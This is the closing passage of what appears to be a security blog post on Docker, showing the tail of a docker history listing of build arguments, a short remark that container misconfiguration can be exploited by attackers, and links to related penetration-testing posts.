&lt;missing>      3 days ago   ARG VCS_REF
&lt;missing>      3 days ago   ARG PROJECT_URL
&lt;missing>      3 days ago   ARG VERSION
&lt;missing>      3 days ago   ARG BUILD_DATE
```

Closing Thoughts

Docker is ubiquitous in cloud environments, and is often coupled with systems such as Kubernetes for orchestration. The complexity of these solutions leaves an opportunity for misconfiguration that can be taken advantage of by attackers.

Related Posts

INFRASTRUCTURE

Credential Guard

2026 bordergate

INFRASTRUCTURE

Enumerating Endpoint Mitigations

2026 bordergate

INFRASTRUCTURE

INFRASTRUCTURE

Pentesting NFS

2026 bordergate

Model Context Protocol

2025 bordergate